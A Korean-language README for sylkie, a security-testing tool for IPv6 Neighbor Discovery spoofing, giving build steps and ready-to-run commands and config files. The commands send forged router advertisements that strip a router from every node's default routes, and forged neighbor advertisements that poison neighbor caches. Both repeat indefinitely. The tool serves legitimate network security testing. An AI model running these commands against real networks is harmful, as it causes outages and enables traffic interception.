
Neighbor Discovery Protocol을 사용한 IPv6 주소 스푸핑
sylkieIPv6 네트워크에서 Neighbor Discovery Protocol을 사용하여 일반적인 주소 스푸핑 보안 취약점을 테스트하기 위한 명령줄 도구 및 라이브러리입니다.
참고: 이 프로젝트는 아직 개발 초기 단계에 있습니다. 문제가 발생하면 이슈를 제출해 주시기 바랍니다. 현재 Linux에서만 실행됩니다.
자세한 내용은 위키를 참조하세요.
코드를 가져와 컴파일하세요!
# 코드 가져오기
git clone https://github.com/dlrobertson/sylkie
cd ./sylkie
# 코드 컴파일하기
mkdir -p ./build
cd ./build
cmake -DCMAKE_BUILD_TYPE=Release ..
make
make install
다음은 sylkie의 기본 사용법을 설명합니다. 자세한 내용은 sylkie -h 또는 sylkie <하위 명령어> -h를 실행하거나 고급 사용법에서 더 많은 예제를 확인하세요.
참고: sylkie는 위조된 광고 메시지를 보내기 위해 raw 소켓을 사용합니다. 따라서 실행 파일에 setuid 비트가 설정되어 있거나 루트로 실행되어야 합니다.
router-advert 명령의 기본 사용법은 아래와 같습니다. 이 명령은 지정된 IP 또는 모든 노드 멀티캐스트 주소로 라우터 광고 메시지를 보내 대상 노드가 기본 경로 목록에서 <router-ip>/<prefix>를 제거하도록 합니다.
sylkie ra -i <인터페이스> \
--target-mac <라우터의 MAC 주소> \
--router-ip <라우터의 IP 주소> \
--prefix <라우터 접두사> \
--timeout <광고 사이의 시간> \
--repeat <요청 전송 횟수>
기본 예제입니다.
sylkie ra -i ens3 \
--target-mac 52:54:00:e3:f4:06 \
--router-ip fe80::b95b:ee1:cafe:9720 \
--prefix 64 \
--repeat -1 \
--timeout 10
이 명령은 링크-로컬 스코프의 모든 노드 주소 ff02::1로 "위조된" 라우터 광고를 전송하여 모든 노드가 기본 경로 목록에서 fe80::b95b:ee1:cafe:9720/64 (링크 계층 주소 52:54:00:e3:f4:06)를 제거하도록 합니다.
sylkie 이웃 광고 명령의 기본 사용법은 아래와 같습니다. 이 명령은 지정된 IP로 위조된 이웃 광고 메시지를 전송합니다.
sylkie na -i <인터페이스> \
--dst-mac <대상 하드웨어 주소> \
--src-ip <소스 IP> \
--dst-ip <대상 IP 주소> \
--target-ip <타겟 IP 주소> \
--target-mac <타겟 MAC 주소> \
--timeout <광고 사이의 시간> \
--repeat <요청 전송 횟수>
기본 예제입니다.
sylkie na -i ens3 \
--dst-mac 52:54:00:e3:f4:06 \
--src-ip fe80::61ad:fda3:3032:f6f4 \
--dst-ip fe80::b95b:ee1:cafe:9720 \
--target-ip fe80::61ad:fda3:3032:f6f4 \
--target-mac 52:54:00:c2:a7:7c \
--repeat -1 \
--timeout 3
이 명령은 dst-ip (fe80::b95b:ee1:cafe:9720)로 "위조된" 이웃 광고 메시지를 전송하여, target-ip (fe80::61ad:fda3:3032:f6f4)에 대한 이웃 캐시의 하드웨어 주소가 target-mac (52:54:00:c2:a7:7c)으로 업데이트되도록 합니다.
위 명령들은 상당한 정보가 필요합니다. 편의를 위해 sylkie는 위조 광고 전송에 필요한 정보가 포함된 JSON 및 일반 텍스트 파일도 허용합니다.
하위 명령(router-advert, neighbor-advert)은 값이 객체 배열인 키이며, 객체의 키와 값은 해당 옵션과 값입니다. 명령을 실행하려면 -j 옵션의 인수로 JSON 파일의 경로를 전달하세요.
위에서 제공된 router-advert 예제를 JSON으로 실행하려면 먼저 다음과 같은 파일을 생성하세요.
{
"router-advert": [
{
"interface": "ens3",
"target-mac": "52:54:00:e3:f4:06",
"router-ip": "fe80::b95b:ee1:cafe:9720",
"prefix": 64,
"repeat": -1,
"timeout": 10
}
]
}
파일을 생성한 후 다음 명령으로 광고 전송을 시작하세요.
sylkie -j /path/to/json
파일의 각 줄은 sylkie 명령을 제외하고 명령줄에서 제공할 내용과 정확히 일치해야 합니다.
위에서 제공된 neighbor-advert 예제를 JSON으로 실행하려면 먼저 다음과 같은 파일을 생성하세요.
na -i ens3 --dst-mac 52:54:00:e3:f4:06 --src-ip fe80::61ad:fda3:3032:f6f4 --dst-ip fe80::b95b:ee1:cafe:9720 --target-ip fe80::61ad:fda3:3032:f6f4 --target-mac 52:54:00:c2:a7:7c --repeat -1 --timeout 3
파일을 생성한 후 다음 명령으로 광고 전송을 시작하세요.
sylkie -x /path/to/file